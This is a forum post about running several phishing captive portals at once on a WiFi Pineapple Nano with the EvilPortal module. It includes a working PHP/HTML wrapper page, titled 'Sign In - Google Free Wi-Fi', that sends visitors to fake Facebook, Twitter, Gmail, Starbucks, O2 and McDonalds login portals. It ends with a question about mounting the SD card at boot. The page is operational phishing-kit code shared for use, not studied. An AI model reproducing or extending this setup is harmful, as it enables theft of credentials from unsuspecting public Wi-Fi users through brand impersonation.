Hi all,
I've managed to create a wrapper site to use several portals at once.
The main problem was the limited amount of space using pineapple nano.
Even if I can install the EvilPortal module on the sd card, I was not able to move the portals on the sd card.
Solution: I've manged to mount a share from the sd card within the Evilportal directory on the internal storage using this cmd:
mount /dev/sda1 ~/portals/wrapper-login-all/mnt
the wrapper-login-all is basically a simple portal with the following definition as index.php which i use to redirect to the other portals
<?php
$destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
require_once('helper.php');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=394, user-scalable=no">
<title>Sign In - Google Free Wi-Fi</title>
<link rel="stylesheet" type="text/css" href="assets/css/styles.css">
<link rel="icon" type="image/png" href="assets/img/f8593y1ses.png"/>
<script src="jquery-2.2.1.min.js"></script>
<script type="text/javascript">
function redirect() {
setTimeout(function() {
window.location = "/captiveportal/index.php";
}, 100);
}
</script>
</head>
<body>
<form novalidate action="/captiveportal/index.php" method="POST" onsubmit="redirect()">
<style>
body {background-color: powderblue;}
h1 {color: blue;}
p {color: red;}
a {color: white;
font-family: Helvetica, Arial, Sans-Serif;
font-weight: bold;
text-decoration: none;
}
.my {
margin: auto;
text-align: center;
width: 250px;
}
.bord{
background-color: blue;
border: 2px solid #a1a1a1;
border-radius: 40px;
}
#fb {background: #3b5999; padding: 10px;}
#tw {background: #1dcaff; padding: 10px;}
#gm {background: #EC4C3F; padding: 10px;}
#sb {background: #00592D; padding: 10px;}
#o2 {background: #4B77BE; padding: 10px;}
#mc {background: #D52B1E; padding: 10px;}
</style>
<div class="my">
<p class="bord" id= "fb"><a href="mnt/modules/EvilPortal/portals/facebook-login/index.php">Login with Facebook</a></p>
<p class="bord" id= "tw"><a href="/mnt/modules/EvilPortal/portals/twitter-login/index.php">Login with Twitter</a></p>
<p class="bord" id= "gm"><a href="/mnt/modules/EvilPortal/portals/google-login/index.php">Login with Gmail</a></p>
<p class="bord" id= "sb"><a href="mnt/modules/EvilPortal/portals/starbucks-login/index.php">Login with Starbucks</a></p>
<p class="bord" id= "o2"><a href="/mnt/modules/EvilPortal/portals/o2-login/index.php">Login with o2</a></p>
<p class="bord" id= "mc"><a href="/mnt/modules/EvilPortal/portals/mcdonalds-login/index.php">Login with McDonalds</a></p>
</div>
</form>
<footer>
</footer>
<script>document.onload = function() { document.getElementById("user").focus();};</script>
</body>
</html>
This all works like charme ? but....
my problem now is that I can't mount the sd card on start up.
I've tried executing the mount /dev/sda1 ~/portals/wrapper-login-all/mnt cmd from /etc/rc.local but did not work.
Then I found the onsuccess file within the portals and tried putting the cmd there.
#!/bin/bash
# Commands in this file are ran when a portal is activated and when Evil Portal startup on boot.
mount /dev/sda1 /root/portals/wrapper-login-all/mnt
# You can use any interpreter you want to, the default is bash.
But it is still not working. After each reboot I need to connect via ssh and execute the command manually.
Any ideas?
Cheers,
Don